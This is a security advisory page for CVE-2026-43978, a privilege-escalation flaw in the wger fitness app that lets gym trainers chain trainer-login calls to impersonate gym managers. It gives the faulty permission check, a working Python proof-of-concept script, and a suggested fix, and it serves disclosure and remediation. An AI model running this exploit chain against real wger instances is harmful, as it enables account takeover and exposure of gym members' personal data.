CVE-2026-43978 — wger
HIGHCVE-2026-43978 is a high-severity (CVSS 8.1) Improper Privilege Management vulnerability in wger. No vendor fix is recorded yet; mitigation options are listed below.
wger: Privilege escalation via trainer-login session chaining allows gym trainers to impersonate gym managers
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-43978.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-43978 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wgerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity
is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.
Details
In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:
# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates:
not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.
PoC
Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.
import requests
BASE = 'http://localhost:80'
s = requests.Session()
def whoami():
r = s.get(f'{BASE}/api/v2/userprofile/',
headers={'Accept': 'application/json'})
return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print(" trainer1 has ONLY 'gym.gym_trainer' permission")
s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
'username': 'trainer1',
'password': 'pass1234',
'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f" Current user : {whoami()}")
print(f" Permission : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print(" This is ALLOWED — trainer1 has gym_trainer permission")
print(" Side effect: session['trainer.identity'] = trainer1_pk")
s.get(f'{BASE}/en/user/4/trainer-login')
print(f" Current user : {whoami()}")
print(f" Session flag : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print(" regular1 has ZERO permissions")
print(" BUT session['trainer.identity'] is set from Step 2")
print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")
s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f" Current user : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
print(" RESULT : !! VULNERABLE !!")
print(" trainer1 (gym_trainer) is now logged in as manager1")
print(" manager1 has 'gym.manage_gym' — full gym admin access")
else:
print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
Output on wger 2.5.0a2:
<img width="728" height="628" alt="image" src="https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5" />Impact
Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.
How to fix
The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.
Vulnerable code (user.py:169–178):
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
Suggested fix:
trainer_identity_pk = request.session.get('trainer.identity')
if not request.user.has_perm('gym.gym_trainer'):
if not trainer_identity_pk:
return HttpResponseForbidden()
# Verify the original trainer in the session still holds the permission
original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
if not original_trainer.has_perm('gym.gym_trainer'):
return HttpResponseForbidden()
# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | wger | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wger, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wger has shipped for CVE-2026-43978 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-43978 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-43978. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-43978 in your dependencies?
O3 Security finds CVE-2026-43978 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.